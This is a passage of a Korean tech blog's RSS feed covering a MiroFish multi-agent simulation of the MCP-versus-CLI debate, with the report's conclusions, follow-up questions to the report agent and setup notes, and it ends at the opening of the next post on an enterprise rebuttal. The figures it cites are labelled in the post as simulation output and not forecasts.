&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;섹션 4: 한국 커뮤니티의 의외의 영향력: CLI 선호가 만든 '역수출'&lt;/b&gt;&lt;br /&gt;한국 기술 블로그의 토큰 오버헤드 비교 분석과 CLI 워크플로 최적화 가이드가 글로벌 Reddit 토론에서 반복 인용됐다. &quot;한국 기술 블로그의 품질은 예상을 뛰어넘었습니다.&quot; 지역 커뮤니티의 실용주의가 글로벌 생태계에 역수출된 사례.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;섹션 5: 창발적 위험: 중앙화 구조의 단일 실패점&lt;/b&gt;&lt;br /&gt;주요 MCP 서버 동시 다운 사건이 현실화되면서 중앙화 구조의 단일 실패점 위험이 확인됐다. &quot;MCP-CLI 병존 구조는 비효율적으로 보일 수 있지만, 실제로는 생태계의 안전망입니다.&quot; 창발적 위험 대비책으로서 하이브리드 구조의 가치가 재평가됐다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 인사이트 3가지&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;인사이트 1: &quot;하이브리드 전략&quot;이 합의점으로 수렴&lt;/b&gt;&lt;br /&gt;36명의 에이전트가 토론한 결과, &lt;b&gt;&quot;개발 워크플로에는 CLI를, 고객 대면/컴플라이언스 민감 기능에는 MCP를&quot;&lt;/b&gt;이라는 하이브리드 전략으로 의견이 모였다. 이 구조는 비효율처럼 보이지만 생태계 안전망으로 재평가됐다.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;인사이트 2: MCP v2도 완전한 해결책이 아니다&lt;/b&gt;&lt;br /&gt;MCP v2로 토큰이 40% 줄었지만 CLI 대비 19배 차이는 유지된다. 찬성 진영조차 이 문제를 부정하지 못했다. MCP는 엔터프라이즈 전용 도구로 자리잡되, CLI가 개발 영역에서 주류를 유지하는 구조가 굳어지고 있다.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;인사이트 3: 한국 개발자 커뮤니티가 글로벌에 역수출&lt;/b&gt;&lt;br /&gt;한국 커뮤니티의 실용주의적 CLI 선호가 글로벌 Reddit 토론에서 반복 인용되는 역수출 현상이 발생했다. 시드에 한국 관련 데이터를 구체적으로 넣은 효과가 보고서 독립 섹션(섹션 4)으로 확인됐다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f0fff0; padding: 15px 20px; border-radius: 8px; border: 1px solid #98d98e; margin: 15px 0;&quot;&gt;&lt;b&gt;보고서 생성 결과&lt;/b&gt;&lt;br /&gt;&lt;b&gt;섹션:&lt;/b&gt; 5개 (100% 완료) | &lt;b&gt;주요 수치:&lt;/b&gt; 엔터프라이즈 78% vs 스타트업 34% 채택률 격차&lt;br /&gt;&lt;b&gt;소요 시간:&lt;/b&gt; ~23분&lt;br /&gt;&lt;b&gt;시뮬레이션 ID:&lt;/b&gt; sim_3203834b2934 | &lt;b&gt;보고서 ID:&lt;/b&gt; report_638bb6a90857&lt;/div&gt;
&lt;!-- ========== 5. Step 5: 심층 대화 ========== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;5. Step 5: 심층 대화 &amp;mdash; 보고서 Agent에게 질문하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;보고서가 나온 뒤 &lt;b&gt;&quot;보고서 Agent와 대화&quot;&lt;/b&gt; 버튼을 누르면 ReportAgent에게 후속 질문을 던질 수 있다. 단순 FAQ가 아니라, 시뮬레이션 데이터 전체를 참조해서 답한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1918&quot; data-origin-height=&quot;592&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5ysZm/dJMb99Tf7HP/hgKxHGJ1A6cKUTPFisAjT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5ysZm/dJMb99Tf7HP/hgKxHGJ1A6cKUTPFisAjT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5ysZm/dJMb99Tf7HP/hgKxHGJ1A6cKUTPFisAjT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5ysZm%2FdJMb99Tf7HP%2FhgKxHGJ1A6cKUTPFisAjT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1918&quot; height=&quot;592&quot; data-origin-width=&quot;1918&quot; data-origin-height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;추천 질문 3개와 예상 답변 방향&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;질문 1:&lt;/b&gt; &quot;MCP v2가 토큰 오버헤드를 해결하면 CLI 진영이 전향할까?&quot;&lt;br /&gt;&lt;span style=&quot;color: #666;&quot;&gt;&lt;span style=&quot;color: #666;&quot;&gt;&amp;rarr; 보고서 섹션 2를 바탕으로, MCP v2가 44,026 &amp;rarr; 26,415 토큰(40% 감소)으로 개선했지만 여전히 CLI 대비 19배 격차가 남는다고 설명한다. &quot;완화&quot;는 됐지만 &quot;해결&quot;은 아니므로, CLI 진영의 논거는 계속 유효하며 하이브리드 전략이 오히려 더 정교해지는 방향을 답할 것이다.&lt;br /&gt;&lt;br /&gt;ex) 실제 답변&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1864&quot; data-origin-height=&quot;1242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cynmOi/dJMcaadAnRq/7920o6UEBLauQ7wOkevf6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cynmOi/dJMcaadAnRq/7920o6UEBLauQ7wOkevf6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cynmOi/dJMcaadAnRq/7920o6UEBLauQ7wOkevf6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcynmOi%2FdJMcaadAnRq%2F7920o6UEBLauQ7wOkevf6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1864&quot; height=&quot;1242&quot; data-origin-width=&quot;1864&quot; data-origin-height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;질문 2:&lt;/b&gt; &quot;한국 개발자 커뮤니티의 CLI 선호가 글로벌에 영향을 줄 근거는?&quot;&lt;br /&gt;&lt;span style=&quot;color: #666;&quot;&gt;&lt;span style=&quot;color: #666;&quot;&gt;&lt;span style=&quot;color: #666;&quot;&gt;&amp;rarr; 보고서 섹션 4의 '역수출' 데이터를 인용한다. 한국 기술 블로그의 토큰 오버헤드 비교분석&amp;middot;CLI 워크플로 가이드가 글로벌 Reddit 토론에서 반복 인용되고, 주요 CLI 오픈소스 프로젝트에서 한국 개발자 기여 비중이 인구 비례를 훨씬 상회한다는 내용을 구체적으로 제시할 것이다.&lt;br /&gt;&lt;br /&gt;ex) 실제 답변&amp;nbsp;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;1400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dxcZ9Y/dJMcacJfmkC/nFCROICZT8e8zoKBbKTgyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dxcZ9Y/dJMcacJfmkC/nFCROICZT8e8zoKBbKTgyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dxcZ9Y/dJMcacJfmkC/nFCROICZT8e8zoKBbKTgyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdxcZ9Y%2FdJMcacJfmkC%2FnFCROICZT8e8zoKBbKTgyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1380&quot; height=&quot;1400&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;질문 3:&lt;/b&gt; &quot;2027년에 OpenAI가 경쟁 표준을 내놓으면 MCP는 어떻게 되나?&quot;&lt;br /&gt;&lt;span style=&quot;color: #666;&quot;&gt;&amp;rarr; (예상) 섹션 1 '불완전한 승리' 근거로 네트워크 효과 분석, 스타트업 이탈 리스크 언급할 것으로 예상했다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ex) 실제 답변&lt;/b&gt;&lt;br /&gt;&quot;보고서는 2026년 3월 시뮬레이션으로, 2027년 OpenAI 경쟁 표준 시나리오에 대한 직접적 결과는 없습니다. 추가 검색을 수행하겠습니다.&quot;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;예상과 달랐다.&lt;/b&gt; Agent는 근거 없는 미래 예측 대신, 자신이 가진 데이터의 시간적 한계(2026년 3월 시뮬레이션)를 먼저 솔직하게 밝혔다. 이게 오히려 잘 설계된 RAG Agent의 특징이다 &amp;mdash; 데이터 범위를 벗어난 질문에 환각으로 채우지 않는다.&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;개별 에이전트 인터뷰 vs 보고서 Agent 대화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;MiroFish UI에서는 에이전트 프로필 클릭 후 개별 대화를 시도할 수 있는 인터페이스가 있다. 다만 실제 사용 결과:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;실제 동작&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;s&gt;&lt;b&gt;개별 에이전트 인터뷰&lt;/b&gt;&lt;/s&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd; color: #dc3545;&quot;&gt;&lt;s&gt;&lt;b&gt;400 에러 발생&lt;/b&gt; &amp;mdash; 현재 버전에서 동작하지 않음&lt;/s&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;s&gt;시뮬레이션 실행 중에만 가능 &amp;mdash; 완료 후에는 프로세스가 종료되어 IPC 연결 불가&lt;/s&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;보고서 Agent 대화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd; color: #28a745;&quot;&gt;&lt;b&gt;정상 동작&lt;/b&gt; &amp;mdash; 전체 시뮬레이션 데이터를 참조해서 종합 답변&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;Step 5의 실질적 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 12px 16px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 10px 0;&quot;&gt;&lt;b&gt;왜 400 에러가 발생하는가:&lt;/b&gt; 개별 에이전트 인터뷰는 살아있는 시뮬레이션 프로세스에 IPC 소켓으로 명령을 전달하는 방식이다. 시뮬레이션이 완료되면 &lt;code&gt;env_status.json&lt;/code&gt;의 상태가 &lt;code&gt;&quot;alive&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;&quot;stopped&quot;&lt;/code&gt;로 바뀌고, 백엔드는 이 상태를 확인해서 즉시 400을 반환한다. 즉, 설계상 &lt;b&gt;시뮬레이션 진행 도중에만&lt;/b&gt; 사용 가능한 기능이다. 시뮬레이션이 끝난 뒤 후속 대화는 &lt;b&gt;보고서 Agent 대화&lt;/b&gt;를 사용해야 할 것 같다.&lt;br /&gt;&lt;br /&gt;ex)&lt;br /&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4lGAR/dJMb99Z32W7/SXLv08me9KTOmYkRvD4Qsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4lGAR/dJMb99Z32W7/SXLv08me9KTOmYkRvD4Qsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4lGAR/dJMb99Z32W7/SXLv08me9KTOmYkRvD4Qsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4lGAR%2FdJMb99Z32W7%2FSXLv08me9KTOmYkRvD4Qsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1910&quot; height=&quot;758&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;6. 결과 해석: MCP의 미래는?&lt;/h2&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;시뮬레이션이 도출한 핵심 결론 3가지&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;결론 1: MCP는 &quot;범용 표준&quot;이 아니라 &quot;엔터프라이즈 표준&quot;으로 수렴&lt;/b&gt;&lt;br /&gt;MCP가 기술적 한계(토큰 오버헤드)와 비용 문제로 범용 표준이 되기 어렵고, 보안/컴플라이언스가 중요한 엔터프라이즈 환경에 특화될 가능성이 크다.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;결론 2: &quot;하이브리드 전략&quot;이 합의점으로 수렴&lt;/b&gt;&lt;br /&gt;찬성, 반대 양 진영 모두 &quot;CLI와 MCP는 적이 아니라 역할이 다르다&quot;는 데 의견이 모였다. &lt;br /&gt;개발 워크플로에는 CLI를, 고객 대면/규정 준수에는 MCP를 쓰는 것이 2026년 가장 효율적인 팀의 선택이라는 합의.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;결론 3: 거대 기술 기업의 전략이 최대 변수&lt;/b&gt;&lt;br /&gt;2027년에 OpenAI나 Google이 경쟁 프로토콜을 내놓으면 MCP 생태계가 파편화될 수 있다. &lt;br /&gt;Anthropic이 MCP 표준화를 주도하고 있지만, 독점이 아닌 협력 모델이 필요하다는 게 시뮬레이션의 경고다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;한국 개발자 커뮤니티의 독특한 위치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;보고서 섹션 4에서 따로 다룬 내용이다. 한국 개발자 커뮤니티의 CLI 선호는 단순한 지역 특수성이 아니라, &lt;b&gt;&quot;우아한 구조보다 빨리 돌고 토큰을 덜 먹는 구조가 사랑받는 시대&quot;&lt;/b&gt;라는 글로벌 실용주의 트렌드의 선행 지표일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;보고서 섹션 4에 따르면 한국 기술 블로그의 토큰 오버헤드 비교 분석과 CLI 워크플로 가이드가 글로벌 Reddit 토론에서 반복 인용됐고, 주요 CLI 오픈소스 프로젝트에서 한국 개발자의 기여 비중이 인구 비례를 훨씬 상회하는 것으로 시뮬레이션에서 관찰됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 12px 16px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 15px 0;&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 이 결론들은 MiroFish 시뮬레이션의 결과이지, 확정된 미래 예측이 아니다. MiroFish는 &quot;예측 도구&quot;라기보다 &lt;b&gt;&quot;다양한 관점의 시뮬레이션 토론 엔진&quot;&lt;/b&gt;이다. 내가 넣은 시드 데이터를 다양한 전문가 관점에서 재해석하는 것이 진짜 가치를 가져오지 않을까???&lt;/div&gt;
&lt;!-- ========== 7. 비용 &amp; 따라하기 ========== --&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #dc3545; margin: 15px 0;&quot;&gt;&lt;b&gt;1. Docker 메모리:&lt;/b&gt; Docker Desktop 기본 메모리(7.7GB)로는 36에이전트 장시간 실행이 불안정할 수 있다. Apple Silicon + QEMU 레이어에서는 특히 메모리 압박이 크다. 프로덕션에서는 16GB 이상 할당하거나, x86 네이티브 서버를 권장한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;3KB 시드 파일 하나로 36명의 가상 전문가가 15라운드 동안 실제 토론을 벌였다.&lt;br /&gt;&lt;br /&gt;MiroFish의 가치는 &quot;예측&quot;이 아니라 &lt;b&gt;&quot;내가 미처 생각하지 못한 관점을 발견하는 것&quot;&lt;/b&gt;이다. &lt;br /&gt;MCP 논쟁에 대해 나는 &quot;하이브리드가 답이겠지&quot;라고 막연히 생각했는데, 시뮬레이션은 그 하이브리드의 구체적 형태(개발=CLI, 고객대면=MCP)와 함께 예상치 못한 반전도 만들어냈다. itter 에이전트가 9라운드에서 Charles Chen의 타협 포스트에 좋아요를 누른 것처럼&amp;mdash;시뮬레이션은 사람 논쟁처럼 입장이 흔들린다.&lt;br /&gt;&lt;br /&gt;시드 데이터만 바꾸면 어떤 논쟁이든 시뮬레이션할 수 있다. 한번 돌려보길 권한다.&lt;/div&gt;
&lt;!-- ========== FAQ ========== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;div style=&quot;margin-top: 20px;&quot;&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border-left: 4px solid #0066cc; margin-bottom: 16px;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 10px 0; font-size: 17px;&quot; data-ke-size=&quot;size23&quot;&gt;Q. MiroFish 시뮬레이션을 시작하기 위한 시드 데이터는 어떻게 준비하나요?&lt;/h3&gt;
&lt;p style=&quot;margin: 0; line-height: 1.8;&quot; data-ke-size=&quot;size8&quot;&gt;A. 시드 데이터는 마크다운 파일 하나로 준비합니다. 찬성&amp;middot;반대&amp;middot;조건부 진영별 논거를 명확하게 정리하는 것이 핵심입니다. MCP 논쟁의 경우 찬성 5개(32개+ 플랫폼 지원, 엔터프라이즈 필수 등), 반대 6개(32배 토큰 오버헤드, CLI 우위 등), 조건부 논거를 구조화하여 &lt;code&gt;seed_mcp_vs_cli.md&lt;/code&gt; 파일로 작성했습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border-left: 4px solid #0066cc; margin-bottom: 16px;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 10px 0; font-size: 17px;&quot; data-ke-size=&quot;size23&quot;&gt;Q. MiroFish의 온톨로지 생성과 지식 그래프 단계는 무엇을 하나요?&lt;/h3&gt;
&lt;p style=&quot;margin: 0; line-height: 1.8;&quot; data-ke-size=&quot;size8&quot;&gt;A. Step 1 온톨로지 생성에서는 AI가 시드 문서를 읽고 핵심 개념&amp;middot;관계&amp;middot;엔티티를 추출하여 구조화합니다. Step 2 지식 그래프 구축(GraphRAG)에서는 이 온톨로지를 기반으로 개념 간 연결 관계를 그래프로 만들어 가상 에이전트들이 참조할 지식 베이스를 완성합니다. 이 두 단계의 품질이 이후 시뮬레이션 토론의 깊이를 결정합니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 12px; border: 1px solid #dee2e6; margin-top: 40px;&quot;&gt;
&lt;h3 style=&quot;color: #333; margin: 0 0 15px 0; font-size: 16px;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OASIS 논문: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2411.11581&quot;&gt;arxiv.org/abs/2411.11581&lt;/a&gt; (arXiv 2024)&lt;/li&gt;
&lt;li&gt;Zep Cloud: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.getzep.com/&quot;&gt;getzep.com&lt;/a&gt; (GraphRAG 서비스)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Rag</category>
      <category>ai 시뮬레이션</category>
      <category>AI 에이전트 토론</category>
      <category>graphrag</category>
      <category>mcp vs cli</category>
      <category>MCP 토큰 오버헤드</category>
      <category>MiroFish</category>
      <category>Zep Cloud</category>
      <category>멀티에이전트 시뮬레이션</category>
      <category>온톨로지 생성</category>
      <category>지식 그래프</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/556</guid>
      <comments>https://goddaehee.tistory.com/556#entry556comment</comments>
      <pubDate>Sun, 22 Mar 2026 23:03:58 +0900</pubDate>
    </item>
    <item>
      <title>MCP vs CLI 2편: 개인은 CLI, 조직은 MCP &amp;mdash; 엔터프라이즈 관점의 반론</title>
      <link>https://goddaehee.tistory.com/555</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 14일, Charles Chen(@chrlschn, Motion 엔지니어)이 Eric Holmes의 &quot;MCP is dead. Long live the CLI&quot;에 대한 반론을 올렸다. &lt;b&gt;&quot;MCP is Dead; Long Live MCP!&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 글 &lt;a href=&quot;https://goddaehee.tistory.com/535&quot;&gt;&lt;b&gt;&quot;MCP는 죽었다, CLI 만세&quot; &amp;mdash; CLI vs MCP 논쟁 분석&lt;/b&gt;&lt;/a&gt;에서 Holmes의 주장을 정리했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bANvl3/dJMcadado53/cjNPWfSQAneLpmnS7i1Xg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bANvl3/dJMcadado53/cjNPWfSQAneLpmnS7i1Xg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bANvl3/dJMcadado53/cjNPWfSQAneLpmnS7i1Xg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbANvl3%2FdJMcadado53%2FcjNPWfSQAneLpmnS7i1Xg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;이번에는 다른 관점에서의 이야기를 살펴보자.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Chen은 &quot;CLI vs MCP&quot; 논쟁에서 빠진 부분을 짚으며, 특히 엔터프라이즈 맥락에서 MCP가 왜 유효한지를 설명하려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
